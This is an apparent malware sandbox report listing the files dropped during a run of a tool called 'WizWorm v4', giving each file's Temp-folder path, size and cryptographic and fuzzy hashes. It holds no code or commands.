SHA256 3cc1377d495260c380e8d225e5ee889cbb2ed22e79862d4278cfa898e58e44d1
MD5 72e28c902cd947f9a3425b19ac5a64bd
SHA1 9b97f7a43d43cb0f1b87fc75fef7d9eeea11e6f7
SHA512 58ab6fedce2f8ee0970894273886cb20b10d92979b21cda97ae0c41d0676cc0cd90691c58b223bce5f338e0718d1716e6ce59a106901fe9706f85c3acf7855ff
SSDEEP 384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
TLSH
T120A20A879AF87E52D9CB5B7222F9CBC36E384B8218505274C117E59C38837D1BE66C1E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-environment-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-environment-l1-1-0.dll
Size 18KB
SHA256 c0d75d1887c32a1b1006b3cffc29df84a0d73c435cdcb404b6964be176a61382
MD5 ac290dad7cb4ca2d93516580452eda1c
SHA1 fa949453557d0049d723f9615e4f390010520eda
SHA512 b5e2b9f5a9dd8a482169c7fc05f018ad8fe6ae27cb6540e67679272698bfca24b2ca5a377fa61897f328b3deac10237cafbd73bc965bf9055765923aba9478f8
SSDEEP 192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
TLSH
T1B7822CC58FBC9583ED869E7063F4DA837D3D97C71C50A02A05AAF5A828C37D1EB1492D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-filesystem-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-filesystem-l1-1-0.dll
Size 19KB
SHA256 7633774effe7c0add6752ffe90104d633fc8262c87871d096c2fc07c20018ed2
MD5 aec2268601470050e62cb8066dd41a59
SHA1 363ed259905442c4e3b89901bfd8a43b96bf25e4
SHA512 0c14d160bfa3ac52c35ff2f2813b85f8212c5f3afbcfe71a60ccc2b9e61e51736f0bf37ca1f9975b28968790ea62ed5924fae4654182f67114bd20d8466c4b8f
SSDEEP 384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
TLSH
T1529207878AF8AE43DDC75F7122F8DBCB7E3D9BC2095181264066E4A839C33C1AF15959
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-heap-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-heap-l1-1-0.dll
Size 18KB
SHA256 f5cf623ba14b017af4aec6c15eee446c647ab6d2a5dee9d6975adc69994a113d
MD5 93d3da06bf894f4fa21007bee06b5e7d
SHA1 1e47230a7ebcfaf643087a1929a385e0d554ad15
SHA512 72bd6d46a464de74a8dac4c346c52d068116910587b1c7b97978df888925216958ce77be1ae049c3dccf5bf3fffb21bc41a0ac329622bc9bbc190df63abb25c6
SSDEEP 192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
TLSH
T151823CC68ABCA583DD87AF7063E4DAC77D3D97C25C10846240ABF8E929C33D1AB1452D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-locale-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-locale-l1-1-0.dll
Size 18KB
SHA256 565a2eec5449eeeed68b430f2e9b92507f979174f9c9a71d0c36d58b96051c33
MD5 a2f2258c32e3ba9abf9e9e38ef7da8c9
SHA1 116846ca871114b7c54148ab2d968f364da6142f
SHA512 e98cbc8d958e604effa614a3964b3d66b6fc646bdca9aa679ea5e4eb92ec0497b91485a40742f3471f4ff10de83122331699edc56a50f06ae86f21fad70953fe
SSDEEP 192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
TLSH
T1D6822BC5CAFC5443E9C79E7066E8EA87BD3D9BC31911942610A6F9D82CC33D8EB1492D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-math-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-math-l1-1-0.dll
Size 28KB
SHA256 bece7bab83a5d0ec5c35f0841cbbf413e01ac878550fbdb34816ed55185dcfed
MD5 8b0ba750e7b15300482ce6c961a932f0
SHA1 71a2f5d76d23e48cef8f258eaad63e586cfc0e19
SHA512 fb646cdcdb462a347ed843312418f037f3212b2481f3897a16c22446824149ee96eb4a4b47a903ca27b1f4d7a352605d4930df73092c380e3d4d77ce4e972c5a
SSDEEP 384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
TLSH
T157D2B64789ECFF63D5CF4BB311F0CBCA6A385B9258E0A5B0D897A18835927D07E47909
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-multibyte-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-multibyte-l1-1-0.dll
Size 25KB
SHA256 66abf3a1147751c95689f5bc6a259e55281ec3d06d3332dd0ba464effa716735
MD5 35fc66bd813d0f126883e695664e7b83
SHA1 2fd63c18cc5dc4defc7ea82f421050e668f68548
SHA512 65f8397de5c48d3df8ad79baf46c1d3a0761f727e918ae63612ea37d96adf16cc76d70d454a599f37f9ba9b4e2e38ebc845df4c74fc1e1131720fd0dcb881431
SSDEEP 384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
TLSH
T134C2726B8EB86E12D58BDBF3B5F1C7C63A354F8104C07375A16B95883942BE9BE02D14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-runtime-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-runtime-l1-1-0.dll
Size 22KB
SHA256 c9bbc07a033bab6a828ecc30648b501121586f6f53346b1cd0649d7b648ea60b
MD5 41a348f9bedc8681fb30fa78e45edb24
SHA1 66e76c0574a549f293323dd6f863a8a5b54f3f9b
SHA512 8c2cb53ccf9719de87ee65ed2e1947e266ec7e8343246def6429c6df0dc514079f5171acd1aa637276256c607f1063144494b992d4635b01e09ddea6f5eef204
SSDEEP 384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
TLSH
T13CA209838AFC7E53E9871F7226F4DBC72E3A97C21910907684A7E0D829C37C1BE16509
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-stdio-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-stdio-l1-1-0.dll
Size 23KB
SHA256 b1e702b840aebe2e9244cd41512d158a43e6e9516cd2015a84eb962fa3ff0df7
MD5 fefb98394cb9ef4368da798deab00e21
SHA1 316d86926b558c9f3f6133739c1a8477b9e60740
SHA512 57476fe9b546e4cafb1ef4fd1cbd757385ba2d445d1785987afb46298acbe4b05266a0c4325868bc4245c2f41e7e2553585bfb5c70910e687f57dac6a8e911e8
SSDEEP 384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
TLSH
T16BB2F78786FC7E42D6878B732AF9EBDB6A3587C3281070399057E89435C63D9BE07419
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-string-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-string-l1-1-0.dll
Size 22KB
SHA256 73cc56f20268bfb329ccd891822e2e70dd70fe21fc7101deb3fa30c34a08450c
MD5 404604cd100a1e60dfdaf6ecf5ba14c0
SHA1 58469835ab4b916927b3cabf54aee4f380ff6748
SHA512 da024ccb50d4a2a5355b7712ba896df850cee57aa4ada33aad0bae6960bcd1e5e3cee9488371ab6e19a2073508fbb3f0b257382713a31bc0947a4bf1f7a20be4
SSDEEP 384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
TLSH
T1D0B2D64346F83F42C9CB4BB355F5CBC72E388F8615406275D467A4DC38827E2BE6A909
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-time-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-time-l1-1-0.dll
Size 20KB
SHA256 69885fd581641b4a680846f93c2dd21e5dd8e3ba37409783bc5b3160a919cb5d
MD5 849f2c3ebf1fcba33d16153692d5810f
SHA1 1f8eda52d31512ebfdd546be60990b95c8e28bfb
SHA512 44dc4200a653363c9a1cb2bdd3da5f371f7d1fb644d1ce2ff5fe57d939b35130ac8ae27a3f07b82b3428233f07f974628027b0e6b6f70f7b2a8d259be95222f5
SSDEEP 384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
TLSH
T17D92F6839AF8B647E9C75F7112F8DBD77F3857C21980A0664066E89836833D1FE1542D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-crt-utility-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-utility-l1-1-0.dll
Size 18KB
SHA256 a1d1d6b0cb0a8421d7c0d1297c4c389c95514493cd0a386b49dc517ac1b9a2b0
MD5 b52a0ca52c9c207874639b62b6082242
SHA1 6fb845d6a82102ff74bd35f42a2844d8c450413b
SHA512 18834d89376d703bd461edf7738eb723ad8d54cb92acc9b6f10cbb55d63db22c2a0f2f3067fe2cc6feb775db397030606608ff791a46bf048016a1333028d0a4
SSDEEP 192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
TLSH
T10F822A868AFCA583DEC76F7053E8EA837D3D9BC35D10906254AAF49828837E1EF1051C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

freebl3.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\freebl3.dll
Size 324KB
SHA256 8e5110ce03826f680f30013985be49ebd8fc672de113fc1d9a566eced149b8c4
MD5 04a2ba08eb17206b7426cb941f39250b
SHA1 731ac2b533724d9f540759d84b3e36910278edba
SHA512 e6e90b4becf472b2e8f716dbb962cd7de61676fcce342c735fccdc01268b5a221139bc9be0e0c9722e9978aefaae79c10bc49c43392aa05dd12244b3147aeffc
SSDEEP 6144:c+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XPVjN:cu4Abg7XV72GI/qn6T
TLSH
T10A646C5AF6C12332E2A21A70B70E1F6B2C7E2F364181F49ED766BD4D1A345D26324397
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mozglue.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\mozglue.dll
Size 135KB
SHA256 4434f4223d24fb6e2f5840dd6c1eedef2875e11abe24e4b0e9bc1507f8f6fd47
MD5 591533ca4655646981f759d95f75ae3d
SHA1 b4a02f18e505a1273f7090a9d246bc953a2cb792
SHA512 915b124ad595ee78feab8f3c9be7e80155445e58ed4c88b89665df5fb7e0a04e973374a01f97bb67aaa733a8ce2e91a9f92605ec96251906e0fb2750a719b579
SSDEEP 3072:HKxSyLQvHBdkOjm6VqETGODn/PxvMxM1soTI0bD2JJJsPcmY4ccp:qxSyLQvhaOSmqDObxvMxM1WiD2JJJsPR
TLSH
T15ED3BF13F2014071C1AF573D39A9B699E2BF7E204B6107D327B48D954F682F2B97A782
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\msvcp140.dll
Size 429KB
SHA256 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
MD5 109f0f02fd37c84bfc7508d4227d7ed5
SHA1 ef7420141bb15ac334d3964082361a460bfdb975
SHA512 46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39
SSDEEP 12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
TLSH
T1A2942723BB460EF1D58E13B531C9432257F5FC2547A0A3C3A3CBE1696F696C26633A91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nss3.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\nss3.dll
Size 1.2MB
SHA256 17f8c55eba797bbc80c8c32ca1a3a7588415984386be56f4b4cdefd4176fb4c3
MD5 fc57d044bfd635997415c5f655b5fffa
SHA1 1b5162443d985648ef64e4aab42089ad4c25f856
SHA512 f5a944230000730bc0aad10e6607e3389d9d82a0a4ab1b72a19d32e94e8572789d46fb4acd75ad48f17e2bbc27389d432086696f2ccc899850ff9177d6823efb
SSDEEP 24576:4DI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu73th8:TQ3YX5jyqgynPkbd24VwMSpu79h8
TLSH
T10B45AE63EC81C0B1D1AB11B1522B7B724EBDFD2215318993A7EC68885E615D1FB2F393
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

softokn3.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\softokn3.dll
Size 140KB
SHA256 8f0c9ac7134773d11d402e49daa90958fe00205e83a7389f7a58da03892d20cb
MD5 1b304dad157edc24e397629c0b688a3e
SHA1 ae151af384675125dfbdc96147094cff7179b7da
SHA512 2dc625dbdf2aae4ade600cca688eb5280200e8d7c2dfc359590435afe0926b3a7446cc56a66023ee834366132a68ae68da51a5079e4f107201e2050f5c5512ad
SSDEEP 3072:YAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWLIBoE+MU:t6PpsF4CoT2EeT29MU
TLSH
T1FDE37C13B7C090E2CEE300B630BAA7764A7FFD31A235C44BA7B459515D225D1FB1AA87
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\vcruntime140.dll
Size 81KB
SHA256 c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
MD5 7587bf9cb4147022cd5681b015183046
SHA1 f2106306a8f6f0da5afb7fc765cfa0757ad5a628
SHA512 0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f
SSDEEP 1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
TLSH
T1C3837C21F8A4C072C165087012BEDA33667DAF748FD26EDB2F5D5C9916F92C1A732217
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nspr4.dll

Path C:\Users\Admin\AppData\Local\Temp\External\Components\nspr4.dll
Size 72KB
SHA256 69e73fea2210adc2ae0837ac98b46980a09fe91c07f181a28fda195e2b9e6b71
MD5 72414dfb0b112c664d2c8d1215674e09
SHA1 50a1e61309741e92fe3931d8eb606f8ada582c0a
SHA512 41428624573b4a191b33657ed9ad760b500c5640f3d62b758869a17857edc68f90bc10d7a5e720029519c0d49b5ca0fa8579743e80b200ef331e41efde1dc8c9
SSDEEP 1536:iOoSt1Skk/INbJ78LuwWoFZ/PF+CurRuHb+0i2:i4SdKtCuwTgCiRu7S2
TLSH
T16073E10C729E099AD1EB3AF769015F24298679A4CBBD57041881BA0F414FAF0FF27BD5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nss3.dll

Path C:\Users\Admin\AppData\Local\Temp\External\Components\nss3.dll
Size 172KB
SHA256 769703fb1ba6c95fb6c889e8a9baaea309e62d0f3ca444d01cc6b495c0f722d1
MD5 7ddbd64d87c94fd0b5914688093dd5c2
SHA1 d49d1f79efae8a5f58e6f713e43360117589efeb
SHA512 60eaad58c3c4894f1673723eb28ddb42b681ff7aafe7a29ff8bf87a2da6595c16d1f8449096accdb89bd6cda6454eb90470e71dde7c5bd16abd0f80e115cfa2d
SSDEEP 3072:DOzNcMUfY7U0ITTFQxq5jK9OOGldSuZeU/u2znyHKnA4qkz+1TYN:DKNf4Y7Uf5za+h8R1
TLSH
T10304E1A7EC57BE55DD942CF08863C98301AC905FF9BD9DA11E4086DEF5C3B7428382A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

plc4.dll

Path C:\Users\Admin\AppData\Local\Temp\External\Components\plc4.dll
Size 8KB
SHA256 2dc0171b83c406db6ec9389b438828246b282862d2b8bdf2f5b75aec932a69f7
MD5 c73ec58b42e66443fafc03f3a84dcef9
SHA1 5e91f467fe853da2c437f887162bccc6fd9d9dbe
SHA512 6318e831d8f38525e2e49b5a1661440cd8b1f3d2afc6813bb862c21d88d213c4675a8ec2a413b14fbdca896c63b65a7da6ec9595893b352ade8979e7e86a7fcf
SSDEEP 192:MxlIMjj3R+flm6R3ooPJXN+MV7Ms8QYJ:MHIMjjh+g6RR9+MV0QYJ
TLSH
T180025C3727AC475BE4D78BBD944D5306E78A3E31C2A8552D3224917E9C7A010CD3BF19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

plds4.dll

Path C:\Users\Admin\AppData\Local\Temp\External\Components\plds4.dll
Size 6KB
SHA256 50b2735318233d6c87b6efccccc23a0e3216d2870c67f2f193cc1c83c7c879fc
MD5 ee44d5d780521816c906568a8798ed2f
SHA1 2da1b06d5de378cbfc7f2614a0f280f59f2b1224
SHA512 634a1cd2baaef29b4fe7c7583c04406bb2ea3a3c93294b31f621652844541e7c549da1a31619f657207327604c261976e15845571ee1efe5416f1b021d361da8
SSDEEP 96:QE2LTg6IHjCqnm/xVMpXuhsc+VpduF02zRsgX95HcMRIAK1SxMRN3L6:Cg6qWqyxikSDduF0WXY+0YyF
TLSH
T18BC13C4BA3A5306FE573857157B78A6A203F7F1BA7F7466C444DD107BA610504A22F33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

softokn3.dll

Path C:\Users\Admin\AppData\Local\Temp\External\Components\softokn3.dll
Size 155KB
SHA256 251f0094b6b6537df3d3ce7c2663726616f06cfb9b6de90efabd67de2179a477
MD5 e846285b19405b11c8f19c1ed0a57292
SHA1 2c20cf37394be48770cd6d396878a3ca70066fd0
SHA512 b622ff07ae2f77e886a93987a9a922e80032e9041ed41503f0e38abb8c344eb922d154ade29e52454d0a1ad31596c4085f4bd942e4412af9f0698183acd75db7
SSDEEP 3072:iYoWH+5SPVLBVQxp+OQUsVV+c1fVgsBBgrxTI6RqbCQz:iTWHwUHZUKVJN3Bg
TLSH
T1DDF312056A1C746AE4D596FCB9EF67F6847492B39BF20CE0439C5126A13D0F99F072C2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

License.XenArmor

Path C:\Users\Admin\AppData\Local\Temp\License.XenArmor
Size 104B
SHA256 76e56835b1ac5d7a8409b7333826a2353401cf67f3bd95c733adc6aa8d9fec81
MD5 774a9a7b72f7ed97905076523bdfe603
SHA1 946355308d2224694e0957f4ebf6cdba58327370
SHA512 c5c77c6827c72901494b3a368593cb9a990451664b082761294a845c0cd9441d37e5e9ac0e82155cb4d97f29507ffc8e26d6ff74009666c3075578aa18b28675
TLSH
T127B01286614362FF51F9692B4801C0435305250F23AF0F872AE9D9131D09107F9DC000
MD5 SHA1 SHA512 TLSH

Submit Download

RESD090.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESD090.tmp
Size 1KB
SHA256 83e96acbfd450010e100e625fc3d99f46e8315721d9bf241217eb664a5e0d9a2
MD5 c71036ff09c3888d1fdfac630c524a31
SHA1 7becfeb1b74de5d20c90aec6d4da31dfd2eb3aa6
SHA512 f34f95287f6b4520f2b6e5f529c136c73f19b1f0ecf70b9703e896a93d3094cdf1a6113862ca55ae342adcd2fcf8d972ae5fa538168d0fdfe51f86beed1ee77a
TLSH
T18E41440083DC4B1FE0B2033129F79719A774FE65AF9A835EB084513E2E13740DD822B1
MD5 SHA1 SHA512 TLSH

Submit Download

GMap.NET.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\GMap.NET.Core.dll
Size 2.9MB
SHA256 58c755fcfc65cddea561023d736e8991f0ad69da5e1378dea59e98c5db901b86
MD5 819352ea9e832d24fc4cebb2757a462b
SHA1 aba7e1b29bdcd0c5a307087b55c2ec0c7ca81f11
SHA512 6a5b0e1553616ea29ec72c12072ae05bdd709468a173e8adbdfe391b072c001ecacb3dd879845f8d599c6152eca2530cdaa2c069b1f94294f778158eaaebe45a
SSDEEP 49152:ot12Gb/hz7ZsK9qY5uyUW57VC4IB1+fXhQ1hyCzMw/22fSg7gjxhUE/nbTC0xemh:oLbteKb57W1+PhQ1HM1gmJ/SZmh
TLSH
T152D5234D77FC068BF5BFDBBD7870069A8331F106AA37E30E15A154A91D23B818851BA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GMap.NET.WindowsForms.dll

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\GMap.NET.WindowsForms.dll
Size 147KB
SHA256 741e1a8f05863856a25d101bd35bf97cba0b637f0c04ecb432c1d85a78ef1365
MD5 32a8742009ffdfd68b46fe8fd4794386
SHA1 de18190d77ae094b03d357abfa4a465058cd54e3
SHA512 22418d5e887a6022abe8a7cbb0b6917a7478d468d211eecd03a95b8fb6452fc59db5178573e25d5d449968ead26bb0b2bfbfada7043c9a7a1796baca5235a82b
SSDEEP 3072:k1GmgYqIY/0YSDBRGlDUqL63budipxj64m8HWYh3vHbFwMhLJSb+:lIO6rGloqL63qW62lJ
TLSH
T1DCE3BF6173A58D2FD6BF4BBFA46240C1A371E603F602C38D6D8820ED2897F5587523A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GeoIP.dat

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\GeoIP.dat
Size 1.2MB
SHA256 bc07ff22d4ee0b6fafcc12482ecf2981c172a672194c647cedf9b4d215ad9740
MD5 8ef41798df108ce9bd41382c9721b1c9
SHA1 1e6227635a12039f4d380531b032bf773f0e6de0
SHA512 4c62af04d4a141b94eb3e1b0dbf3669cb53fe9b942072ed7bea6a848d87d8994cff5a5f639ab70f424eb79a4b7adabdde4da6d2f02f995bd8d55db23ce99f01b
SSDEEP 24576:0L/59ah0USm3uwl00odi9AnW1fUmdbxv6bA3wOzRAc3InsZLONMrZb:+/59a6USdi9Ues6bV6boLO6rZ
TLSH
T10C457B47FF0A85DB5845B91EF9019EDC5810EE76BD0A1335226E37ACA0B8360ECD71A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Guna.UI2.dll

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\Guna.UI2.dll
Size 1.9MB
SHA256 c6264665a882e73eb2262a74fea2c29b1921a9af33180126325fb67a851310ef
MD5 bcc0fe2b28edd2da651388f84599059b
SHA1 44d7756708aafa08730ca9dbdc01091790940a4f
SHA512 3bfc3d27c095dde988f779021d0479c8c1de80a404454813c6cae663e3fe63dc636bffa7de1094e18594c9d608fa7420a0651509544722f2a00288f0b7719cc8
SSDEEP 24576:FIVZLRYIVQd9INo3FDbWX7SsOobBTEAjg+m+ZFNwaxwGoHQ/jzK+:+oWodbi9XFEAjg+m+ZFKaxw
TLSH
T1EE9508007ED0DB26D16B4E33D5E75010D3F2B4A26BB2E70F72D5A77C145378AA88A366
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Intro.wav

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\Intro.wav
Size 591KB
SHA256 7ef5b1508c6187f45cb9803436238658f82ecbfe43ae3fffe5b0d22a86f79600
MD5 d0b4077dc5623a51a8dd9fa37cafbf62
SHA1 9793779439a4e0bf5be28d1ff5e688dfb087c263
SHA512 a94020fc4782a13b72f7729888f5ebc6e4d806a2b705bdeeae5305815d5fe177db57dd17b40c5cbeae0d8491f4f6a5e63e23485014ed8384358877b87b4cda71
SSDEEP 12288:xQTnCQZpwxE4HWPNgu65sFNjAXRnkj/4oj59DP67rpO8+COHhrG:xiFXeWeLsH4oN99rG
TLSH
T138D4E782F241EA50C4555E7B5D2AA9D453327ADAEF4B63223050BB3E3CF74839E297C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MetroFramework.Fonts.dll

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\MetroFramework.Fonts.dll
Size 656KB
SHA256 c843869aaca5135c2d47296985f35c71ca8af4431288d04d481c4e46cc93ee26
MD5 65ef4b23060128743cef937a43b82aa3
SHA1 cc72536b84384ec8479b9734b947dce885ef5d31
SHA512 d06690f9aac0c6500aed387f692b3305dfc0708b08fc2f27eaa44b108908ccd8267b07f8fb8608eef5c803039caeabf8f88a18b7e5b1d850f32bbb72bcd3b0b7
SSDEEP 12288:O+/9JcJlYqCNktA+SXfGpq2fHowSqCNktA+SXfvJR9FrIJJaqCNktA+SXfUC:O+/3qlrCNoh+UqgIwhCNoh+JR9FrIJJw
TLSH
T1D2E429B5760139E6EF11C4B7C260FD80192BB863A77B402A68E3077A88575CDFE53E46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MetroFramework.dll

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\MetroFramework.dll
Size 345KB
SHA256 c2c12d31b4844e29de31594fc9632a372a553631de0a0a04c8af91668e37cf49
MD5 34ea7f7d66563f724318e322ff08f4db
SHA1 d0aa8038a92eb43def2fffbbf4114b02636117c5
SHA512 dceb1f9435b9479f6aea9b0644ba8c46338a7f458c313822a9d9b3266d79af395b9b2797ed3217c7048db8b22955ec6fe8b0b1778077fa1de587123ad9e6b148
SSDEEP 6144:M4S7k5hdCpU4YqfkUGz6KpQQZQHDXjNCdOZgLdL5DXBK:M4S7k5hdCEQHP1Zgj
TLSH
T1C8745C111399452AE1FF423AB457084187F7AE12F6BEEBAD69CCE0EC5F937414A42363
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SimpleObfuscator.dll

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\SimpleObfuscator.dll
Size 1.4MB
SHA256 b7a6eea19188b987dad97b32d774107e9a1beb4f461a654a00197d73f7fad54c
MD5 9043d712208178c33ba8e942834ce457
SHA1 e0fa5c730bf127a33348f5d2a5673260ae3719d1
SHA512 dd6fa02ab70c58cde75fd4d4714e0ed0df5d3b18f737c68c93dba40c30376cc93957f8eef69fea86041489546ce4239b35a3b5d639472fd54b80f2f7260c8f65
SSDEEP 24576:FDy7cKOfkiRrXP5WtJvW1mpjSWr7uoZme1V86:+8/AtJes1LJ
TLSH
T149654A01AFE6C72BD69F97F6D87206142BF4D049B3ABF79F161863A91C837425C06227
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WizWorm.exe

Path C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\WizWorm.exe
Size 14.3MB
SHA256 4a095cf379d66c7123416fec489a8ef6b767fec71959e13714127d6c3bb41c06
MD5 0d7b4b1882f63bdd50b95c566d71ae14
SHA1 fd44458018d9ba5beee8a67b7f22bb5c6e1f850d
SHA512 97ad65c805be31d1d530077b4736ff4c844c51a2d4550e856933f08a328e4c74ecef7e22040a27e9a03509170c4bc780e26b0389cb57385d5217f56d68a7aeda
SSDEEP 393216:q3vfM+4csPWDxmpDz05h8HpCLemOEkHh1og2CrVJCmvT:q3vfM+4cVm25hspRmIAWvH
TLSH
T11AE60072314D2E39E1BDF771404403A943E490FEB721E76AA9B0D696B9335C58AC7F82
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XenManager.dll

Path C:\Users\Admin\AppData\Local\Temp\XenManager.dll
Size 2.0MB
SHA256 baa9c3a0d0524263c4f848056b3f1da3b4bb913162362cbcabe77ce76a39870c
MD5 7a5c53a889c4bf3f773f90b85af5449e
SHA1 25b2928c310b3068b629e9dca38c7f10f6adc5b6
SHA512 f5943687d7e098790581bf56ac6fec3b7e9b83d0e29301077a8bc48768c5a0e9f54f53d926f9847885f6035a2b31e456e4e45ccf1c70be27229c46e79876e2ed
SSDEEP 49152:n574s+7RVTKYTDQkPgf1gDE3QqHUY2dlIfks5zXHo9rhXvGy3Kz:n5749VTKaDQkYf1gDUQqHUtJvGy
TLSH
T1CBA58C117C5040BAE0DF3331893AF93833AD7AAB073942C73EE47A5969F6583562952F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.db

Path C:\Users\Admin\AppData\Local\Temp\settings.db
Size 20KB
SHA256 00c020ba1cce022364976f164c575993cb3b811c61b5b4e05a8a0c3d1b560c0c
MD5 56b941f65d270f2bf397be196fcf4406
SHA1 244f2e964da92f7ef7f809e5ce0b3191aeab084a
